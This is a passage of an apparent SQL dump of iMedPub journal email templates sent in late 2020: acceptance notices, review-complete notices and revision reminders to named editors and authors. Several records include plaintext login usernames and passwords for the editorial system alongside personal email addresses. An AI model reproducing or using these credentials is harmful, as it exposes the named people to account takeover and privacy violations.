Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-6216</b><br />\r\n            <br />\r\n            Article Title: <b>Protein C level and Activated Partial Thromboplastin Time in neonatal sepsis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mosab Hamad</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-20-6216</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',6216,'2020-11-21',984),(2270,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-6518</b><br />\r\n            <br />\r\n            Article Title: <b>Improving Cooperation among Lebanese Private Hospitals  through Strategic Planning </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohamad Ali Hamandi</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphspr-20-6518</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','patricia.islas@uacj.mx',6518,'2020-11-21',84),(2283,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6389</b><br />\r\n            <br />\r\n            Article Title: <b>OSTEONECROSIS MANDIBULAR: UNA COMPLICACI&Atilde;&ldquo;N INUSUAL  POR  HERPES VIRUS ZOSTER.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Miana</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vanesa.miana@uai.edu.ar',6389,'2020-11-23',274),(2284,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6497</b><br />\r\n            <br />\r\n            Article Title: <b>Variabilidad glic&Atilde;&copy;mica y su impacto cardiovascular y renal</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',6497,'2020-11-23',274),(2285,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6582</b><br />\r\n            <br />\r\n            Article Title: <b>EN RESCATE DE LAS C&Atilde;&permil;LULAS BETA, &acirc;&euro;&oelig;LIRAGLUTIDE&acirc;&euro; COMO PARTE DEL TRATAMIENTO DE DIABETES MELLITUS TIPO 2</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Temoche Porras</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yessymassieltp@gmail.com',6582,'2020-11-23',274),(2286,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6638</b><br />\r\n            <br />\r\n            Article Title: <b>Recanalizaci&oacute;n transfemoral de arteria radial tras embolizaci&oacute;n de malformaci&oacute;n arteriovenosa cerebral. Caso cl&iacute;nico.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Diaz Cruz</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jennifer.diaz@quironsalud.es',6638,'2020-11-23',274),(2287,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6641</b><br />\r\n            <br />\r\n            Article Title: <b>HEMORRAGIA SUBARACNOIDEA ANEURISM&Aacute;TICA </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',6641,'2020-11-23',274),(2289,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6700</b><br />\r\n            <br />\r\n            Article Title: <b>Severe COVID-19 in intensive care and the role of invasive ventilation: a proportion meta-analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Othman</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','othmanf@ksau-hs.edu.sa',6700,'2020-11-23',48),(2311,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6408</b><br />\r\n            <br />\r\n            Article Title: <b>Investigation the effect of Serum Rich in Growth Factors on proliferation, growth and expression of genes involved in cell longevity by Mesenchymal Stem Cells</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fatemeh Hoseinpour Kasgari</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6408</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',6408,'2020-11-27',85),(2318,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6759</b><br />\r\n            <br />\r\n            Article Title: <b>A Real Data-Driven Analytical Model for Testing for the Novel Coronavirus Disease, COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MAMUDU</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lohuwa@mail.usf.edu',6759,'2020-11-28',48),(2319,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-6069</b><br />\r\n            <br />\r\n            Article Title: <b>Optimized development, characterization and antimicrobial evaluation of bioactive prodigiosin potentials from Cephalosporin resistant Serratia marcescens </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gugu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','thaddeus.gugu@unn.edu.ng',6069,'2020-11-30',248),(2320,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-6351</b><br />\r\n            <br />\r\n            Article Title: <b>A relationship between sleep cycle and immunity against COVID-19 infection</b><br />\r\n            <br />\r\n            Corresponding Author: <b>WITTIK MAITY</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-6351</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',6351,'2020-11-30',248),(2322,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6695</b><br />\r\n            <br />\r\n            Article Title: <b>Cervical cystic lymphangioma: a case report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohamed Ali Gliti</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iptb-20-6695</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> alexander_e<br />\r\n            <b>Password:</b> uN7Aog3r<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr_berezin@mail.ru',6695,'2020-12-02',673),(2323,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6731</b><br />\r\n            <br />\r\n            Article Title: <b>A descriptive study on contact tracing of Pulmonary Tuberculosis in Sri Lanka.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nilantha Pushpakumara Gamalathge</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>R. Gainetdinov</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6731</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','raul.gainetdinov@iit.it',6731,'2020-12-02',673),(2324,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6408</b><br />\r\n            <br />\r\n            Article Title: <b>Investigation the effect of Serum Rich in Growth Factors on proliferation, growth and expression of genes involved in cell longevity by Mesenchymal Stem Cells</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hoseinpour Kasgari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','f.hoseinpour49800@gmail.com',6408,'2020-12-02',85),(2328,'<p>Ref.:  Ms. No. : <b>ipaom-20-6347</b><br />\r\n<br />\r\nARTICLE TITLE: <b>AN OPEN-AIR NIGHTMARE: THE CURRENT CONCERNS ABOUT LEBANESE PEOPLE AND THEIR MENTAL HEALTH</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto </b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6347</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto</b><br />\r\npassword: <b>WtUQmeLg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','r.rrolim@bol.com.br',6347,'2020-12-04',85),(2329,'<p>Ref.:  Ms. No. : <b>ipaom-20-6348</b><br />\r\n<br />\r\nARTICLE TITLE: <b>REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. da Cruz</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6348</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>italo_silva</b><br />\r\npassword: <b>yX7DkIyk</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','itallo.sillva@hotmail.com',6348,'2020-12-04',85),(2332,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6769</b><br />\r\n            <br />\r\n            Article Title: <b>Virtual Urology Clinics during the Covid19 Pandemic -The Lanarkshire Experience</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Leenesh Mokool</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6769</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',6769,'2020-12-07',85),(2337,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-5808</b><br />\r\n            <br />\r\n            Article Title: <b>Microbiological Quality of fresh Bogue fish caught at M&acirc;&euro;&trade;diq port, Morocco</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohamed BEN ALI</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-5808</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',5808,'2020-12-08',645),(2344,'<table height=\"90\" cellspacing=\"4\" 